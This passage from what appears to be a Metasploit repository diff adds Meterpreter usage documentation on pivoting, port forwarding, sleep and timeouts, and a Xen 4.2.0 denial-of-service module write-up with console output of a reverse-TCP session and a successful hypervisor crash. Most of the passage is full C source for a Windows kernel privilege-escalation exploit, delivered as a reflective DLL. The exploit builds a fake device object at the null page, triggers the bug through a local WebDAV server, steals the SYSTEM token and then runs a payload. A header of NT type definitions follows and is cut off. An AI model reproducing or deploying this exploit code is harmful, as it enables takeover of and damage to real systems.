||||
|
||||
```
|
||||
msf > route add 192.168.1.0 255.255.255.0 1
|
||||
```
|
||||
|
||||
At that point, you should have a working pivot. You can use other Metasploit modules to explore
|
||||
or exploit more hosts on the network, or use auxiliary/server/socks4a and [Proxychains](http://proxychains.sourceforge.net/) to allow
|
||||
other third-party tools to do the same.
|
||||
|
||||
|
||||
## Meterpreter Stageless Mode
|
||||
|
||||
A stageless Meterpreter allows a more economical way to deliver the payload, for cases where a
|
||||
normal one would actually cost too much time and bandwidth in a penetration test. To learn more
|
||||
about this, [click on this](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Stageless-Mode)
|
||||
to read more.
|
||||
|
||||
To use the stageless payload, use ```windows/meterpreter_reverse_https``` instead.
|
||||
|
||||
## Meterpreter Sleep Control
|
||||
|
||||
The sleep mode allows the payload on the target machine to be quiet for awhile, mainly in order to
|
||||
avoid suspicious active communication. It also provides better efficiency.
|
||||
|
||||
It is very simple to use. At the Meterpreter prompt, simply do:
|
||||
|
||||
```
|
||||
meterpreter > sleep 20
|
||||
```
|
||||
|
||||
And that will allow Meterpreter to sleep 20 seconds, and will reconnect as long as the handler
|
||||
remains active (such as running as a background job).
|
||||
|
||||
To learn more about this feature, please [click here](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Sleep-Control).
|
||||
|
||||
## Meterpreter Timeout Control
|
||||
|
||||
The timeout control basically defines the life span of Meterpreter. To configure it, use the
|
||||
```set_timeouts``` command:
|
||||
|
||||
```
|
||||
meterpreter > set_timeouts
|
||||
Usage: set_timeouts [options]
|
||||
|
||||
Set the current timeout options.
|
||||
Any or all of these can be set at once.
|
||||
|
||||
OPTIONS:
|
||||
|
||||
-c <opt> Comms timeout (seconds)
|
||||
-h Help menu
|
||||
-t <opt> Retry total time (seconds)
|
||||
-w <opt> Retry wait time (seconds)
|
||||
-x <opt> Expiration timout (seconds)
|
||||
```
|
||||
|
||||
To see the current timeout configuration, you can use the ```get_timeouts``` command:
|
||||
|
||||
```
|
||||
meterpreter > get_timeouts
|
||||
Session Expiry : @ 2016-03-11 21:15:58
|
||||
Comm Timeout : 300 seconds
|
||||
Retry Total Time: 3600 seconds
|
||||
Retry Wait Time : 10 seconds
|
||||
```
|
||||
|
||||
To learn more about timeout control, please [go here](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Timeout-Control).
|
||||
|
||||
## Meterpreter Transport Control
|
||||
|
||||
Transport Control allows you manage transports on the fly while the payload session is still
|
||||
running. Meterpreter can automatically cycle through the transports when communication fails,
|
||||
or you can do it manually.
|
||||
|
||||
To learn more about this, please read this [documentation](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Transport-Control).
|
||||
|
||||
@@ -580,7 +580,7 @@ The route command in Meterpreter allows you change the routing table that is on
|
||||
The portfwd command allows you to talk to a remote service like it's local. For example, if you are able to compromise a host via SMB, but are not able to connect to the remote desktop service, then you can do:
|
||||
|
||||
```
|
||||
meterpreter > portfwd add –l 3389 –p 3389 –r > target host >
|
||||
meterpreter > portfwd add –l 3389 –p 3389 –r [Target Host]
|
||||
```
|
||||
|
||||
And that should allow you to connect to remote desktop this way on the attacker's box:
|
||||
@@ -611,7 +611,8 @@ It is very simple to use. At the Meterpreter prompt, simply do:
|
||||
meterpreter > sleep 20
|
||||
```
|
||||
|
||||
And that will allow Meterpreter to sleep 20 seconds, and will reconnect.
|
||||
And that will allow Meterpreter to sleep 20 seconds, and will reconnect as long as the payload
|
||||
handler remains active (such as being a background job).
|
||||
|
||||
To learn more about this feature, please [click here](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Sleep-Control).
|
||||
|
||||
@@ -660,6 +661,7 @@ Transport Control allows you manage transports on the fly while the payload sess
|
||||
|
||||
To learn more about this, please read this [documentation](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Transport-Control).
|
||||
|
||||
|
||||
## Using the Post Exploitation API in IRB
|
||||
|
||||
To enter IRB, do the following at the Meterpreter prompt:
|
||||
|
||||
@@ -0,0 +1,82 @@
|
||||
This is a post exploitation module that exploits a memory corruption bug in Xen
|
||||
4.2.0, causing a denial-of-service against the hypervisor from a guest VM. From
|
||||
the original advisory:
|
||||
|
||||
> Downgrading the grant table version of a guest involves freeing its
|
||||
status pages. This freeing was incomplete - the page(s) are freed back
|
||||
to the allocator, but not removed from the domain's tracking
|
||||
list. This would cause list corruption, eventually leading to a
|
||||
hypervisor crash.
|
||||
|
||||
## Mechanism
|
||||
|
||||
This module aims to be portable by building the exploit module on the target
|
||||
machine directly, building a malicious Linux Kernel Module (LKM) and inserting it
|
||||
into the kernel of the paravirtualized host. It is necessary to build the
|
||||
kernel module on the fly, since kernel ABIs are notoriously unstable and
|
||||
unlikely to work between multiple kernel versions.
|
||||
|
||||
This module is tested on Debian and Ubuntu hosts running various versions of
|
||||
Xen. Because the LKM is built at exploit-time, it requires that build tools and
|
||||
kernel headers for the currently-running kernel to exist on the target machine.
|
||||
|
||||
## Example output
|
||||
|
||||
Failure (bad Xen version):
|
||||
|
||||
```
|
||||
msf > use exploit/multi/handler
|
||||
msf exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp
|
||||
payload => linux/x86/meterpreter/reverse_tcp
|
||||
msf exploit(handler) > set lhost 192.168.1.1
|
||||
lhost => 192.168.1.1
|
||||
msf exploit(handler) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.1.1:4444
|
||||
[*] Starting the payload handler...
|
||||
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
|
||||
[*] Sending stage (1495599 bytes) to 192.168.1.1
|
||||
[*] Meterpreter session 1 opened (192.168.1.1:4444 -> 192.168.1.2:43488) at 2016-07-13 00:27:31 -0500
|
||||
|
||||
meterpreter >
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 1...
|
||||
msf exploit(handler) > use post/linux/dos/xen_420_dos
|
||||
msf post(xen_420_dos) > set session -1
|
||||
session => -1
|
||||
msf post(xen_420_dos) > run
|
||||
|
||||
[*] Detecting requirements...
|
||||
[+] Detected root privilege
|
||||
[+] Detected build-essential
|
||||
[+] Detected Xen
|
||||
[+] Detected running Xen
|
||||
[*] Xen Version: 4.6.0
|
||||
[-] Sorry, wrong Xen Version
|
||||
[*] Post module execution completed
|
||||
```
|
||||
|
||||
Success:
|
||||
|
||||
```
|
||||
msf post(xen_420_dos) > run
|
||||
|
||||
[*] Detecting requirements...
|
||||
[+] Detected root privilege
|
||||
[+] Detected build-essential
|
||||
[+] Detected Xen
|
||||
[+] Detected running Xen
|
||||
[*] Xen Version: 4.2.0
|
||||
[-] Detected correct Xen version
|
||||
[*] DoS was successful!
|
||||
[*] Post module execution completed
|
||||
[*] 192.168.1.2 - Command shell session 1 closed. Reason: Died from EOFError
|
||||
```
|
||||
|
||||
## Future Work
|
||||
|
||||
A kernel module compilation mixin that works like the Dynamic Kernel Module
|
||||
Support (DKMS) framework, would be useful in order to allow other kernel-level
|
||||
exploits to be built as-needed. Supporting this using the Metasploit Post
|
||||
Exploitation API and supporting more Linux distributions would make similar
|
||||
exploits easier to build.
|
||||
+424
@@ -0,0 +1,424 @@
|
||||
/*
|
||||
requires:
|
||||
Reflective DLL Injection solution by Stephen Fewer
|
||||
https://github.com/stephenfewer/ReflectiveDLLInjection
|
||||
|
||||
compiles with:
|
||||
Visual Studio 2013
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <errno.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <malloc.h>
|
||||
#include <process.h>
|
||||
#include <time.h>
|
||||
#include <winsock2.h>
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
#include <winnetwk.h>
|
||||
#include <stdio.h>
|
||||
#include <tchar.h>
|
||||
#include "defs.h"
|
||||
#include "ReflectiveLoader.h"
|
||||
|
||||
#pragma comment(lib, "ws2_32.lib")
|
||||
#pragma comment(lib, "mpr.lib")
|
||||
|
||||
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
|
||||
|
||||
DWORD wdServ(SIZE_T port);
|
||||
PVOID GetNativeAPI(CHAR *funcName);
|
||||
PVOID GetKernelAPI(CHAR *kernelImage, PVOID *kernelBase, CHAR *funcName);
|
||||
static VOID execPayload(LPVOID lpPayload);
|
||||
NTSTATUS __stdcall tokenTwiddler(DWORD junk1, DWORD junk2);
|
||||
|
||||
_ZwOpenProcess pZwOpenProcess = NULL;
|
||||
_ZwOpenProcessToken pZwOpenProcessToken = NULL;
|
||||
_ZwDuplicateToken pZwDuplicateToken = NULL;
|
||||
_ZwSetInformationProcess pZwSetInformationProcess = NULL;
|
||||
_ZwClose pZwClose = NULL;
|
||||
_PsLookupProcessByProcessId pPsLookupProcessByProcessId;
|
||||
|
||||
PSYSTEM_MODULE_INFORMATION pModuleInfo;
|
||||
CHAR *KI = 0; // kernel image name
|
||||
PVOID *KB = 0; // kernel base address
|
||||
|
||||
BOOL DROP_THE_MIC = FALSE;
|
||||
|
||||
extern HINSTANCE hAppInstance;
|
||||
|
||||
static VOID execPayload(LPVOID lpPayload)
|
||||
{
|
||||
VOID(*lpCode)() = (VOID(*)())lpPayload;
|
||||
lpCode();
|
||||
return;
|
||||
}
|
||||
|
||||
DWORD wdServ(SIZE_T port) {
|
||||
TCHAR client_data[1500];
|
||||
struct sockaddr_in server;
|
||||
struct sockaddr_in client;
|
||||
SOCKET s1, s2;
|
||||
SYSTEMTIME st;
|
||||
WSADATA ws;
|
||||
int c = sizeof(struct sockaddr_in), test = 0;
|
||||
SIZE_T len = 0;
|
||||
SIZE_T recv_size = 0;
|
||||
time_t _tm;
|
||||
struct tm *curtime;
|
||||
CHAR *buf, *resp, *token, *token2, *timebuf;
|
||||
|
||||
if (WSAStartup(MAKEWORD(2, 2), &ws) != 0) {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if ((s1 = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
server.sin_family = AF_INET;
|
||||
server.sin_addr.s_addr = INADDR_ANY;
|
||||
server.sin_port = htons(port);
|
||||
|
||||
if (bind(s1, (struct sockaddr *)&server, sizeof(server)) == SOCKET_ERROR) {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
listen(s1, 3);
|
||||
|
||||
while (1) {
|
||||
s2 = accept(s1, (struct sockaddr *)&client, &c);
|
||||
|
||||
if (s2 == INVALID_SOCKET) {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
/* get stuff from client */
|
||||
|
||||
if ((recv_size = recv(s2, client_data, 1500, 0)) == SOCKET_ERROR) {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
token = strtok(client_data, " \r\n");
|
||||
|
||||
if (token != NULL) {
|
||||
if (strncmp(token, "OPTIONS", 7) == 0) {
|
||||
buf = (char *)calloc(3000, 1);
|
||||
|
||||
len += sprintf(buf + len, "HTTP/1.1 200 OK\r\nMS-Author-Via: DAV\r\nDAV: 1,2,1#extend\r\nAllow: OPTIONS,GET,HEAD,PROPFIND\r\n\r\n");
|
||||
|
||||
memset(client_data, 0, 1500);
|
||||
send(s2, buf, strlen(buf), 0);
|
||||
free(buf);
|
||||
len = 0;
|
||||
}
|
||||
else if (strncmp(token, "PROPFIND", 8) == 0) {
|
||||
buf = (char *)calloc(3000, 1);
|
||||
resp = (char *)calloc(3500, 1);
|
||||
timebuf = (char *)calloc(256, 1);
|
||||
|
||||
token2 = strtok(NULL, " ");
|
||||
GetSystemTime(&st);
|
||||
_tm = time(NULL);
|
||||
curtime = localtime(&_tm);
|
||||
|
||||
sprintf(timebuf, "%04d-%02d-%02dT%02d:%02d:%02d", st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
|
||||
|
||||
len += sprintf(buf + len, "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n");
|
||||
len += sprintf(buf + len, "<D:multistatus xmlns:D=\"DAV:\">\r\n");
|
||||
len += sprintf(buf + len, "<D:response>\r\n");
|
||||
len += sprintf(buf + len, "\t<D:href>%s</D:href>\r\n", token2);
|
||||
len += sprintf(buf + len, "\t<D:propstat>\r\n");
|
||||
len += sprintf(buf + len, "\t\t<D:prop>\r\n");
|
||||
len += sprintf(buf + len, "\t\t<D:creationdate>%sZ</D:creationdate>\r\n", timebuf);
|
||||
len += sprintf(buf + len, "\t\t<D:getcontentlength>0</D:getcontentlength>\r\n");
|
||||
len += sprintf(buf + len, "\t\t<D:getcontenttype></D:getcontenttype>\r\n");
|
||||
len += sprintf(buf + len, "\t\t<D:getetag></D:getetag>\r\n");
|
||||
memset(timebuf, 0, sizeof(timebuf));
|
||||
sprintf(timebuf, "%.3s, %02d %02d %04d %02d:%02d:%02d GMT", asctime(curtime), st.wDay, st.wMonth, st.wYear, st.wHour, st.wMinute, st.wSecond); // needs to look like Fri, 11 Mar 2016 20:39:35 GMT
|
||||
len += sprintf(buf + len, "\t\t<D:getlastmodified>%s</D:getlastmodified>\r\n", timebuf);
|
||||
|
||||
if (strstr(token2, "file") != NULL) {
|
||||
len += sprintf(buf + len, "\t\t<D:resourcetype></D:resourcetype>\r\n");
|
||||
}
|
||||
else {
|
||||
len += sprintf(buf + len, "\t\t<D:resourcetype><D:collection></D:collection></D:resourcetype>\r\n");
|
||||
}
|
||||
len += sprintf(buf + len, "\t\t<D:supportedlock></D:supportedlock>\r\n");
|
||||
len += sprintf(buf + len, "\t\t<D:ishidden>0</D:ishidden>\r\n");
|
||||
len += sprintf(buf + len, "\t\t</D:prop>\r\n");
|
||||
len += sprintf(buf + len, "\t\t<D:status>HTTP/1.1 200 OK</D:status>\r\n");
|
||||
len += sprintf(buf + len, "\t</D:propstat>\r\n");
|
||||
len += sprintf(buf + len, "</D:response>\r\n");
|
||||
len += sprintf(buf + len, "</D:multistatus>\r\n");
|
||||
|
||||
len = 0;
|
||||
len += sprintf(resp + len, "HTTP/1.1 207 Multi-Status\r\nMS-Author-Via: DAV\r\nDAV: 1,2,1#extend\r\nContent-Length: %d\r\nContent-Type: text/xml\r\n\r\n", strlen(buf));
|
||||
len += sprintf(resp + len, buf);
|
||||
send(s2, resp, strlen(resp), 0);
|
||||
memset(client_data, 0, 1500);
|
||||
free(buf);
|
||||
free(resp);
|
||||
free(timebuf);
|
||||
len = 0;
|
||||
}
|
||||
else {
|
||||
buf = (char *)calloc(3000, 1);
|
||||
/* request not matched */
|
||||
len += sprintf(buf + len, "HTTP/1.1 500 Internal Server Error\r\n\r\n");
|
||||
send(s2, buf, strlen(buf), 0);
|
||||
memset(client_data, 0, 1500);
|
||||
free(buf);
|
||||
len = 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* done at this point */
|
||||
closesocket(s2);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
PVOID GetNativeAPI(CHAR *funcName) {
|
||||
return GetProcAddress(GetModuleHandle("ntdll"), funcName);
|
||||
}
|
||||
|
||||
PVOID GetKernelAPI(CHAR *kernelImage, PVOID *kernelBase, CHAR *funcName) {
|
||||
PVOID addr = NULL;
|
||||
HMODULE hModule = NULL;
|
||||
|
||||
hModule = LoadLibraryExA(kernelImage, 0, DONT_RESOLVE_DLL_REFERENCES);
|
||||
if (hModule) {
|
||||
addr = GetProcAddress(hModule, funcName);
|
||||
if (addr) {
|
||||
addr = (PVOID)((PUCHAR)addr - (PUCHAR)hModule + (PUCHAR)kernelBase);
|
||||
}
|
||||
}
|
||||
// printf("[+] DEBUG: %s @ 0x%08x\n", funcName, addr);
|
||||
return addr;
|
||||
}
|
||||
|
||||
/*
|
||||
the idea for this came from a blog post by j00ru
|
||||
*/
|
||||
|
||||
NTSTATUS __stdcall tokenTwiddler(DWORD junk1, DWORD junk2)
|
||||
{
|
||||
OBJECT_ATTRIBUTES ObjectAttributes;
|
||||
HANDLE hSystem = NULL, hToken = NULL, hNewToken = NULL;
|
||||
CLIENT_ID ClientId = { (HANDLE)4, NULL };
|
||||
PROCESS_ACCESS_TOKEN AccessToken;
|
||||
NTSTATUS NtStatus;
|
||||
PDWORD CurrentProcess = NULL;
|
||||
PDWORD off = NULL;
|
||||
DWORD kFlags2Offset = 0x26c;
|
||||
DWORD kFlags2, origFlags2, currPid = 0;
|
||||
PEPROCESS myEP, systemEP;
|
||||
|
||||
/* Disable the EPROCESS->Flags2 PrimaryTokenFrozen flag */
|
||||
|
||||
currPid = GetCurrentProcessId();
|
||||
NtStatus = pPsLookupProcessByProcessId((HANDLE)currPid, &myEP);
|
||||
NtStatus = pPsLookupProcessByProcessId((HANDLE)4, &systemEP);
|
||||
kFlags2 = *(PDWORD *)((PBYTE)myEP + kFlags2Offset);
|
||||
origFlags2 = *(PDWORD *)((PBYTE)myEP + kFlags2Offset);
|
||||
kFlags2 = kFlags2 ^ (1 << 15);
|
||||
|
||||
InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL);
|
||||
NtStatus = pZwOpenProcess(&hSystem, GENERIC_ALL, &ObjectAttributes, &ClientId);
|
||||
if (!NT_SUCCESS(NtStatus)) {
|
||||
goto err;
|
||||
}
|
||||
|
||||
NtStatus = pZwOpenProcessToken(hSystem, GENERIC_ALL, &hToken);
|
||||
if (!NT_SUCCESS(NtStatus)) {
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
|
||||
InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL);
|
||||
NtStatus = pZwDuplicateToken(hToken,
|
||||
TOKEN_ALL_ACCESS,
|
||||
&ObjectAttributes,
|
||||
TRUE,
|
||||
TokenPrimary,
|
||||
&hNewToken
|
||||
);
|
||||
if (!NT_SUCCESS(NtStatus)) {
|
||||
goto err;
|
||||
}
|
||||
|
||||
AccessToken.Token = hNewToken;
|
||||
AccessToken.Thread = NULL;
|
||||
|
||||
/* turn flag off */
|
||||
*(PDWORD *)((PBYTE)myEP + kFlags2Offset) = kFlags2;
|
||||
NtStatus = pZwSetInformationProcess((HANDLE)-1,
|
||||
ProcessAccessToken,
|
||||
&AccessToken,
|
||||
sizeof(PROCESS_ACCESS_TOKEN));
|
||||
/* turn flag back on because reasons */
|
||||
*(PDWORD)(myEP + kFlags2Offset) = origFlags2;
|
||||
if (!NT_SUCCESS(NtStatus)) {
|
||||
goto err;
|
||||
}
|
||||
DROP_THE_MIC = TRUE;
|
||||
err:
|
||||
if (hNewToken != NULL) {
|
||||
pZwClose(hNewToken);
|
||||
}
|
||||
if (hToken != NULL) {
|
||||
pZwClose(hToken);
|
||||
}
|
||||
if (hSystem != NULL) {
|
||||
pZwClose(hSystem);
|
||||
}
|
||||
|
||||
return 31337;
|
||||
}
|
||||
|
||||
int doWork(LPVOID lpPayload)
|
||||
{
|
||||
HANDLE hThread, hFile;
|
||||
IO_STATUS_BLOCK IoStatusBlock;
|
||||
ULONG len = 0, inputLen = 24, outputLen = 4;
|
||||
DWORD allocSize = 0x4000;
|
||||
DWORD allocAddr = 0x00000001;
|
||||
NTSTATUS ntRet;
|
||||
NETRESOURCE nr, *pnr;
|
||||
_NtQuerySystemInformation pNtQuerySystemInformation;
|
||||
_NtAllocateVirtualMemory pNtAllocateVirtualMemory;
|
||||
_NtFsControlFile pNtFsControlFile;
|
||||
SIZE_T port, remoteNameLen = 0;
|
||||
DWORD wnacRes, *inputPtr, *outputPtr;
|
||||
PBAD_DEVICE_OBJECT pBadDeviceObject;
|
||||
char remoteName[64];
|
||||
char cfName[64];
|
||||
|
||||
/* gather info and such */
|
||||
|
||||
memset(remoteName, 0, sizeof(remoteName));
|
||||
memset(cfName, 0, sizeof(cfName));
|
||||
memset(&IoStatusBlock, 0, sizeof(IoStatusBlock));
|
||||
|
||||
pNtQuerySystemInformation = (_NtQuerySystemInformation)GetNativeAPI("NtQuerySystemInformation");
|
||||
if (!pNtQuerySystemInformation) {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
pNtFsControlFile = (_NtFsControlFile)GetNativeAPI("NtFsControlFile");
|
||||
if (!pNtFsControlFile) {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
pNtAllocateVirtualMemory = (_NtAllocateVirtualMemory)GetNativeAPI("NtAllocateVirtualMemory");
|
||||
if (!pNtAllocateVirtualMemory) {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, NULL, 0, &len);
|
||||
pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);
|
||||
pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, &pModuleInfo, sizeof(pModuleInfo), NULL);
|
||||
ntRet = pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, NULL, 0, &len);
|
||||
if (!ntRet) {
|
||||
exit(1);
|
||||
}
|
||||
pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);
|
||||
ntRet = pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, pModuleInfo, len, &len);
|
||||
|
||||
KB = (PVOID *)pModuleInfo->Modules[0].ImageBase;
|
||||
KI = (CHAR *)pModuleInfo->Modules[0].FullPathName + pModuleInfo->Modules[0].OffsetToFileName;
|
||||
|
||||
/* finishing information gathering */
|
||||
|
||||
pZwOpenProcess = (_ZwOpenProcess)GetKernelAPI(KI, KB, "ZwOpenProcess");
|
||||
pZwOpenProcessToken = (_ZwOpenProcessToken)GetKernelAPI(KI, KB, "ZwOpenProcessToken");
|
||||
pZwDuplicateToken = (_ZwDuplicateToken)GetKernelAPI(KI, KB, "ZwDuplicateToken");
|
||||
pZwSetInformationProcess = (_ZwSetInformationProcess)GetKernelAPI(KI, KB, "ZwSetInformationProcess");
|
||||
pZwClose = (_ZwClose)GetKernelAPI(KI, KB, "ZwClose");
|
||||
pPsLookupProcessByProcessId = (_PsLookupProcessByProcessId)GetKernelAPI(KI, KB, "PsLookupProcessByProcessId");
|
||||
|
||||
/* start setting up the trigger */
|
||||
|
||||
srand(time(NULL));
|
||||
port = (rand() % (60000 - 5000)) + 5000;
|
||||
|
||||
//printf("[+] Allocating page at 0x00000000 ...\n");
|
||||
ntRet = pNtAllocateVirtualMemory((HANDLE)-1, (LPVOID)&allocAddr, 0, &allocSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||
if (ntRet != 0) {
|
||||
//printf("[-] NtAllocateVirtualMemory error. Status = 0x%08x\n\n", ntRet);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
pBadDeviceObject = (PBAD_DEVICE_OBJECT)GlobalAlloc(GMEM_ZEROINIT, sizeof(BAD_DEVICE_OBJECT));
|
||||
|
||||
//printf("[+] Building fake DEVICE_OBJECT ...\n");
|
||||
pBadDeviceObject->addrPtr = (DWORD)0x00000010;
|
||||
pBadDeviceObject->evilAddr = (ULONG)&tokenTwiddler;
|
||||
memcpy((PVOID)0x00, pBadDeviceObject, sizeof(BAD_DEVICE_OBJECT));
|
||||
|
||||
//printf("[+] Starting WebDAV server on port %d\n", port);
|
||||
hThread = (HANDLE)_beginthread((void *)wdServ, 0, (void *)port);
|
||||
//printf("[+] WebDAV thread started, back in main()\n");
|
||||
memset(&nr, 0, sizeof(NETRESOURCE));
|
||||
sprintf(remoteName, "\\\\127.0.0.1@%d\\folder\\", port);
|
||||
sprintf(cfName, "\\\\127.0.0.1@%d\\folder\\file", port);
|
||||
|
||||
pnr = &nr;
|
||||
pnr->dwScope = 0;
|
||||
pnr->dwType = 0;
|
||||
pnr->dwDisplayType = 0;
|
||||
pnr->dwUsage = 0;
|
||||
pnr->lpLocalName = NULL;
|
||||
pnr->lpRemoteName = (LPSTR)&remoteName[0];
|
||||
pnr->lpComment = NULL;
|
||||
pnr->lpProvider = NULL;
|
||||
|
||||
wnacRes = WNetAddConnection2(&nr, NULL, NULL, (DWORD)0);
|
||||
|
||||
// printf("[+] WNetAddConnection2 result: 0x%08x\n", wnacRes);
|
||||
if (wnacRes != 0) {
|
||||
// printf("WNetAddConnection2 failed ... wtf\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
hFile = CreateFileA(cfName, FILE_ATTRIBUTE_NORMAL, (DWORD)7, NULL, (DWORD)3, (DWORD)0, NULL);
|
||||
inputPtr = (DWORD *)GlobalAlloc(GMEM_ZEROINIT, inputLen);
|
||||
outputPtr = (DWORD *)GlobalAlloc(GMEM_ZEROINIT, outputLen);
|
||||
|
||||
// printf("Calling NtFsControlFile ...\n");
|
||||
ntRet = pNtFsControlFile(hFile, 0, 0, 0, &IoStatusBlock, 0x900DB, inputPtr, inputLen, outputPtr, outputLen);
|
||||
// printf("[+] NtFsControlFile result: 0x%08x\n", ntRet);
|
||||
|
||||
if (DROP_THE_MIC == TRUE) {
|
||||
execPayload(lpPayload);
|
||||
}
|
||||
else {
|
||||
/* nothing to do */
|
||||
}
|
||||
// printf("[+] Done, cya ...\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
|
||||
{
|
||||
BOOL bReturnValue = TRUE;
|
||||
switch( dwReason )
|
||||
{
|
||||
case DLL_QUERY_HMODULE:
|
||||
if( lpReserved != NULL )
|
||||
*(HMODULE *)lpReserved = hAppInstance;
|
||||
break;
|
||||
case DLL_PROCESS_ATTACH:
|
||||
hAppInstance = hinstDLL;
|
||||
doWork(lpReserved);
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
return bReturnValue;
|
||||
}
|
||||
+129
@@ -0,0 +1,129 @@
|
||||
#pragma once
|
||||
#define STATUS_UNSUCCESSFUL 0xC0000001
|
||||
|
||||
#define InitializeObjectAttributes( p, n, a, r, s ) { \
|
||||
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
|
||||
(p)->RootDirectory = r; \
|
||||
(p)->Attributes = a; \
|
||||
(p)->ObjectName = n; \
|
||||
(p)->SecurityDescriptor = s; \
|
||||
(p)->SecurityQualityOfService = NULL; \
|
||||
}
|
||||
|
||||
enum { SystemModuleInformation = 11 };
|
||||
enum { ProcessAccessToken = 0x09 };
|
||||
|
||||
typedef PVOID *PEPROCESS;
|
||||
|
||||
typedef PEPROCESS(WINAPI *_PsGetCurrentProcess)(void);
|
||||
|
||||
typedef ULONG(__cdecl *_DbgPrintEx)(_In_ ULONG ComponentId, _In_ ULONG Level, PCHAR Format, ...);
|
||||
|
||||
typedef struct {
|
||||
HANDLE UniqueProcess;
|
||||
HANDLE UniqueThread;
|
||||
} CLIENT_ID, *PCLIENT_ID;
|
||||
|
||||
typedef NTSTATUS(WINAPI *_NtFsControlFile)(
|
||||
HANDLE FileHandle,
|
||||
HANDLE Event,
|
||||
PIO_APC_ROUTINE ApcRoutine,
|
||||
PVOID ApcContext,
|
||||
PIO_STATUS_BLOCK IoStatusBlock,
|
||||
ULONG FsControlCode,
|
||||
PVOID InputBuffer,
|
||||
ULONG InputBufferLength,
|
||||
PVOID OutputBuffer,
|
||||
ULONG OutputBufferLength
|
||||
);
|
||||
|
||||
typedef NTSTATUS(WINAPI *_NtQuerySystemInformation)(
|
||||
SYSTEM_INFORMATION_CLASS SystemInformationClass,
|
||||
PVOID SystemInformation,
|
||||
ULONG SystemInformationLength,
|
||||
PULONG ReturnLength
|
||||
);
|
||||
|
||||
typedef NTSTATUS(WINAPI *_ZwOpenProcess)(
|
||||
PHANDLE ProcessHandle,
|
||||
ACCESS_MASK DesiredAccess,
|
||||
POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
PCLIENT_ID ClientId
|
||||
);
|
||||
|
||||
typedef NTSTATUS(WINAPI *_ZwDuplicateToken)(
|
||||
HANDLE ExistingTokenHandle,
|
||||
ACCESS_MASK DesiredAccess,
|
||||
POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
BOOLEAN EffectiveOnly,
|
||||
TOKEN_TYPE TokenType,
|
||||
PHANDLE NewTokenHandle
|
||||
);
|
||||
|
||||
typedef NTSTATUS(WINAPI *_ZwOpenProcessToken)(
|
||||
HANDLE ProcessHandle,
|
||||
ACCESS_MASK DesiredAccess,
|
||||
PHANDLE TokenHandle
|
||||
);
|
||||
|
||||
typedef NTSTATUS(WINAPI *_ZwSetInformationProcess)(
|
||||
HANDLE ProcessHandle,
|
||||
PROCESSINFOCLASS ProcessInformationClass,
|
||||
PVOID ProcessInformation,
|
||||
ULONG ProcessInformationLength
|
||||
);
|
||||
|
||||
|
||||
typedef DWORD(WINAPI *_NtAllocateVirtualMemory)(
|
||||
HANDLE ProcessHandle,
|
||||
PVOID *BaseAddress,
|
||||
ULONG ZeroBits,
|
||||
PULONG RegionSize,
|
||||
ULONG AllocationType,
|
||||
ULONG Protect
|
||||
);
|
||||
|
||||
typedef NTSTATUS(WINAPI *_PsLookupProcessByProcessId)(
|
||||
_In_ HANDLE ProcessId,
|
||||
_Out_ PEPROCESS *Process
|
||||
);
|
||||
|
||||
typedef BOOL(WINAPI *_ZwClose)(
|
||||
_In_ HANDLE hObject
|
||||
);
|
||||
|
||||
typedef struct _PROCESS_ACCESS_TOKEN {
|
||||
HANDLE Token;
|
||||
HANDLE Thread;
|
||||
} PROCESS_ACCESS_TOKEN, *PPROCESS_ACCESS_TOKEN;
|
||||
|
||||
/* Hacked up from Process Hacker source */
|
||||
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
|
||||
HANDLE Section;
|
||||
PVOID MappedBase;
|
||||
PVOID ImageBase;
|
||||
ULONG ImageSize;
|
||||
ULONG Flags;
